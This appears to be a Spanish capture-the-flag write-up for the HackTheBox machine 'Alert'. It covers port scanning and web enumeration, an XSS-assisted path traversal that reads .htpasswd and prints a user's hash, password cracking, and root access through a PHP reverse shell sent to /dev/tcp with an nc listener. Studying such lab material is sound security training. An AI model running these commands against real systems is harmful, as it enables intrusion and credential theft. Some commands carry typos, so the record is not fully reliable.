Hacemos un escaneo de puerto de forma rapida haciendo uso de nmap

nmap -p- -v -n -Pn -sS --min-rate 5000 10.10.11.44 -oG allPorts -open

Ahora vamos hacer un analisis de los servicios que estan corriendo en esos puertos ademas de las versiones y ver un poco mas de informacion usando los script mas comunes de nmap

nmap -p22,80 -v -n -Pn -sVC --min-rate 5000 10.10.11.44 -oN Targeted -open

Vamos a enumerar el servicio web, empezando por las tecnologias

Vamos a revisar la web en busca de vectores de ataque, y con la enumarcion vemos que hay un archivo message.php el cual no sabemos que es

gobuster dir --url http://alert.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,md,zip,tar,bak,txt

Ya que estamos vamos a hacer una enumeracion de subdominios (en este caso para poder enumerar los subdominios, me ha funcionado a traves de la cabezera Host)

ffuf -ac -u http://alert.htb -H "Host:FUZZ.alert.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt

parece que tenemos un login por aqui, despues de intentar fuerza bruta me doy cuanta de que ese no es el camino, y vuelvo a analizar la inyeccion XXS que hemos encontrado, asi como el resto de la web y resulta que en la web de contacto el cuarpo del mensaje hace clic en un enlace que le pongamos tal que asi:

esto significa que ya tenemos todas las piezas del puzzle, vamos a hacer que el propio servidor nos mande el contenido de los .php a ver si vemos algo interesante, debemos hacer uso del xss ahora este archivo lo subimos y el enlace de share lo pasamos a contact

Genial ahoa en nuestro server debemos ver la peticion con el contenido de la web message.php lo descodificamos de url esto significa que podemos acceder a cualquier archivo del servidor y como hemos visto antes hay un vhost corriendo el cual pide credenciales de authenticacion (los cuales en servidores apache y nginx entre otros) estan en una archivo llamado .htpasswd este archivo suele estar alojado en la ruta raiz es decir acceder a esta ruta deberia darnos el archivo http://alert.htb/messaage.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd

lo decodificamos albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

Boom tenemos credenciales vamos a crakear el hash

john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash

ahora tenemos el control del usuario albert por ssh

Escalada de privilegios

Vemos que hay otro usuario interesante

Al parecer estamos dentro de un grupo interesante

Aqui tenemos unos archivos interesantes

find / -type f -group management -exec ls -l {} \; 2>/dev/null
-rwxrwxr-x 1 root management 49 Dec 27 23:37 /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 albert management 9286 Dec 27 23:14 /opt/website-monitor/config/shell.php

revisando los servicios que estaban corriendo vemos que hay un puerto abierto que no hemos visto

netstat -lvnp

Vamos a hacer uso de ssh para hacer un portforwarding del puerto 8080 a nuestro puerto 8081 (ya lo tenemos en uso por burpsuite)

ssh -L 8081:localhost:8080 albert@10.10.11.44

Esta web tiene un titulo que me suena de antes

La web al parece esta alojada en esta ruta y nosotros tenemos permisos para el archivo shell.php y configuration.php (que el archivo shell.php esta aqui por que las maquinas de htb con VPN free comparten instancia con otros jugadores)

el archivo que nos interesa es el archivo config ya que aqui vamos a especificar la ruta de nuestro archivo .php con la revershell

<?php exec('/bin/bash -c "bash -i >/dev/tcp/10.10.14.60/4444 0>$1"') ?>

ahora solo resta ponernos en escucha

lwrap -cAr nc -nlvp 4444

y simplemente accedemos al recurso desde la web